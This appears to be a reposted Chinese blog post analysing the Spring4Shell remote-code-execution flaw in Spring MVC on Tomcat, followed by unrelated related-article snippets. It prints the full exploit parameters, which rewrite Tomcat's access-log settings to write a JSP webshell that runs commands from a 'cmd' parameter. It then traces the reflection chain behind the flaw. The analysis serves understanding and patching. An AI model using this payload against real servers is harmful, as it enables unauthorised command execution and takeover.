Spring4Shell的漏洞原理分析

Spring框架最新的PoC

这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

  • 必须是jdk9及以上

  • 必须是部署在tomcat的应用

  • 是springmvc的或者webflux的应用

具体的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。

但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~

漏洞利用的原理

我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {String email = requestparams.get("email");String username = requestparams.get("username");model.addAttribute("data", "email:" + email + " username:" + username);return "index";
}

如果我们这么访问:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样:

0689bb967efee9785441379e450470f5.png
image

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:

@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {model.addAttribute("data", obj.toString());return "index";
}

访问一下:

ce6cab41ba47785cc3e9f8da2cd12ee3.png
image

这说明了,springmvc框架帮我们做了一个很重要的事情:

通过我们请求的数据,转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步:到底构造了一个什么数据会引发呢?

跑的环境是:

  • jdk11

  • tomcat8.5.58

  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

1bc92570842d91f0e2c7fd74bd314335.png
image
@RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {}

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)

  • %i 这个语法是从请求的header里面拿xxx

就会在tomcat的Root目录下生成一个jsp文件

2f3ef309d0b1cdf66708070e0e824cca.png
image

内容如下:

b61f9abe7aa0d3a160db62e827d1d815.png
image

计息POC第二步:jsp文件是怎么生成的?

方法接收的class:HelloWorld,我这么传,spring框架是怎么来处理的呢?

c6e24ca27ba2dba0430304706999ebb6.png
image

根据HelloWorld的实例

结合传过来属性路径:class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的运用反射来去拿属性对应的值,这个例子的话就是

  • 调用HelloWorld的getClass() 拿到Class对象

  • 通过class对象调用getModule()

  • 通过Module调用getClassLoader()

  • 通过ClassLoader拿resources

  • context是Tomcat的StandardContext

  • parent拿到的是StandardEngine

  • pipeline拿到的是StandardPipeline

  • first拿到的是AccessLogValve

可以在下图所示设置断点:就可以看到上面说的每一步了8f13283d2e5a0e0554c8cc59145ef140.png

主角上场:bc8dab254c0747a8f4288260d20cce72.png

AccessLogValve是tomcat记录日志的,

  • pattern是日志格式

  • suffix是日志文件的后缀

  • prefix是日志文件的前缀

  • fileDateFormat是日期文件的时间格式

谜底揭晓

根据以上分析,我们知道,传过去的data由对象的class作为引子,然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作

经过对tomcat的处理请求的日志管道(AccessLogValve)的改写,导致当前请求会被触发记录日志,日志会按照我们想要的方式生成了一个jsp文件。

6ceac7c4a9ed811025ed1b0ed1e1d117.png
image

为啥是jdk9及以上版本呢,因为module的概念是从jdk9开始的~

为啥是得部署到tomcat里的应用呢,因为只有这样才会利用它的日志功能~

spring是咋修复的

d41f73b2ce9f1904c0da3e4574c35875.png
image

我是正东,学的越多不知道也越多。一个漏洞引发的思考~收获挺大!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/289753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php 点对点,浅析点对点(End-to-End)的场景文字识别

一、背景随着智能手机的广泛普及和移动互联网的迅速发展&#xff0c;通过手机等移动终端的摄像头获取、检索和分享资讯已经逐步成为一种生活方式。基于摄像头的(Camera-based)的应用更加强调对拍摄场景的理解。通常&#xff0c;在文字和其他物体并存的场景&#xff0c;用户往往…

【ArcGIS遇上Python】Python实现Modis NDVI批量化月最大合成

「 刘一哥GIS」CSDN专业技术博文专栏目录索引https://geostorm.blog.csdn.net/article/details/113732454 最大合成法(MVC)可以在Envi中的Band Math中进行,式子是B1>B2,但是无法批量化;本文实现在ArcGIS中利用Python代码批量进行,如下: 用到的Modis NDVI数据是在MRT…

cad2016中选择全图字体怎么操作_打开CAD图纸字体丢失、重新选择怎么办?这样设置,一辈子用的到...

AutoCAD图纸本身就有着比较特殊的个性&#xff0c;难编辑难打开&#xff0c;时不时的还会来个乱码、字体缺失&#xff0c;甚至有的时候还提示我们进行字体的重新选择&#xff0c;应该怎么解决呢&#xff1f;虽然是个很经常遇见的问题&#xff0c;很多的小伙伴还是不知道如何解决…

MassTransit - .NET Core 的分布式应用程序框架

简介MassTransit 是一个免费的、开源的.NET 分布式应用程序框架。MassTransit 使创建应用程序和服务变得容易&#xff0c;这些应用程序和服务利用基于消息的松散耦合异步通信来实现更高的可用性、可靠性和可扩展性特点•易于使用和理解的 API&#xff0c;让您专注于解决业务问题…

mongo学习笔记(二):聚合,游标

一、聚合 <1> Count 1.db.person.count() 2.db.person.count({"age":20}) <2> Distinct db.person.distinct("age")//指定了谁&#xff0c;谁就不能重复 <3> Group key&#xff1a;这个就是分组的key&#xff0c;我们这里是对年龄分组。…

Java实验二猜数字游戏,JAVA-第2周实验-猜数字游戏

JAVA--第2周实验--猜数字游戏/* (程序头部注释开始)* 程序的版权和版本声明部分* Copyright (c) 2011, 烟台大学计算机学院学生* All rights reserved.* 文件名称&#xff1a;猜数字游戏* 作 者&#xff1a; 雷恒鑫* 完成日期&#xff1a; 2012 年 09 月 07 日* 版 本 号&#…

Xamarin效果第十五篇之自定义CheckBox

在上一篇中使用Xamarin玩耍了GIS加载高德和百度;这不这两天又抽空完善了一下;自定义了一下CheckBox;来看看最终效果:关于实现咱就是直接自定义ContentView:后台无非就是一堆的依赖属性(和WPF真像):后台定义的Command为了支持选中状态:‍再来看看具体使用:<CustomViews:Image…

java爬虫工具xpath提取,2020-07-16--爬虫数据提取--xpath

xpath全称 XML Path Language 是一门在XML文档中 查找信息的语言 最初是用来搜寻XML文档的 但是它同样适用于HTML文档的搜索XPath 的选择功能十分强大&#xff0c;它提供了非常简洁的路径选择表达式&#xff0c;另外还提供了超过100个内置函数&#xff0c;用于字符串&#xff0…

ant压缩在哪卸载_反病毒软件这么多,到底哪一款适合你

记得大学读书的时候,买了电脑,第一件事情就是卸载windows自带的杀毒软件,然后装上自己心仪的杀毒软件,可是市面上杀毒软件这么多,哪一款适合你呢?我找了市面上排名最靠前的三款杀毒软件,让我们看看他们孰胜孰劣,还是各有千秋.他们分别是腾讯的电脑管家,金山毒霸,360安全卫士.这…

.NetCore使用NETCore.MailKit发送邮件

前言平时工作中很少用到需要发邮件的功能&#xff0c;所以邮件这块的功能也没有太过关注。近期有一个项目需要接收用户的反馈&#xff0c;上边决定使用邮件&#xff0c;直接将反馈信息发送给领导&#xff0c;也就有了这篇文章。实现发邮件不难&#xff0c;但是开发中遇到了一个…

哄媳妇

1、如果你的女人在你面前哭了&#xff0c;无论什么原因&#xff0c;请抱紧她&#xff0c;再反抗也要抱紧&#xff0c;趴在桌子上永远没有在你怀里安心&#xff1b; 2、如果你的女人指出了你的不是&#xff0c;请不要总是嫌她唠叨&#xff0c;若不是因为在乎她不会说你&#xff…

自己搭建一个k8s环境

背景Kubernetes 是时下流行的容器编排引擎&#xff0c;因为字母太多&#xff0c;且掐头去尾后剩下 8 个字母&#xff0c;于是被大家亲切的缩写为 k8s。Kubernetes https://kubernetes.io/另外所谓“云原生”概念火爆&#xff0c;各大云厂商也纷纷推出了自己的容器服务&#xff…

个人电脑 公司电脑 代理_这样的电脑谁来用?一体式水冷,磁悬浮风扇!

原标题&#xff1a;这样的电脑谁来用&#xff1f;一体式水冷&#xff0c;磁悬浮风扇&#xff01;海盗船是个人电脑市场资历最老、信誉最好的个人电脑元件制造商之一。该公司最初的产品主要是和存储相关的&#xff0c;后来&#xff0c;海盗船开始慢慢向其他细分市场扩张。虽然他…

VMware虚拟机中CentOS网络设置

在VMware虚拟机中安装了一个CentOS系统&#xff0c;试着学习了一下该系统下的网络设置&#xff0c;记录如下&#xff1a; VMware虚拟机中比较方便的联网方式是NAT方式&#xff0c;这里采用该方式。 CentOS默认使用ipv6协议联网&#xff0c;则虚拟机会给该系统分配ipv6地址&…

沿途风景

1.麦积山&#xff08;甘肃省天水市麦积区&#xff09;2014年8月27日 2.柳湖公园&#xff08;甘肃省平凉市&#xff09;2014年8月25日 3.崆峒山&#xff08;甘肃省平凉市&#xff09;2014年8月26日 4.净土寺&#xff08;甘肃省天水市麦积区&#xff09;2014年8月27日 5.仙人崖&a…

如何格式化电脑_移动硬盘提示格式化如何解决?数据恢复软件解决问题

使用移动硬盘的时候&#xff0c; 硬盘用久了&#xff0c;会出现各种各样的错误&#xff0c;最终导致无法使用&#xff0c;常常出现提示“格式化”&#xff0c;这时候就挺烦恼的&#xff0c;如果使用不当的话&#xff0c;就会引发各种奇怪的问题&#xff0c;其中最严重的的就是提…

在 WASI 上运行 .NET 7 应用程序

WASI代表 WebAssembly 系统接口&#xff0c;WASI 让沙盒化的 WebAssembly 应用程序通过一系列类似 POSIX 的函数访问底层操作系统&#xff0c;允许独立于浏览器运行 WebAssembly 代码。这是一个高度实验性的项目&#xff0c;但同时也是一个非常有趣的项目&#xff0c;并且有可能…

【ArcGIS遇上Python】ArcGIS Python实现长时间序列遥感影像批量处理--以裁剪为例

任务分析&#xff1a;在采用遥感方法研究植被物候变化时&#xff0c;需要下载长时间序列&#xff08;本文用到的是30年&#xff09;GIMMS 3G NDVI数据。原始数据是全球的&#xff0c;预处理过程包括几何校正、裁剪、投影变换、Hants时间序列谐波分析等等。在这过程中&#xff0…

差异表达基因热图怎么看_差异基因热图绘制:heatmap.2

在RNA-seq数据分析中&#xff0c;差异表达基因分析是一项基本的技能&#xff0c;其中热图又是一种特别常见的用来展示差异表达基因分析结果的方式&#xff0c;今天分享一个非常好用的绘制热图的R函数&#xff1a;heatmap.2。该函数来自gplots包。安装install.packages("gp…

朋友公司招聘用的一套C#基础面试题,10个码农8个错2个蒙,我也跳坑了…

朋友公司的一套面试题&#xff0c;很有意思&#xff0c;参见如下代码&#xff1a;class Program{static void Main(string[] args){var t Num();Console.WriteLine(t);Console.ReadLine();}static int Num(){int i 10;try{return i;}finally{i 11;Console.WriteLine($"…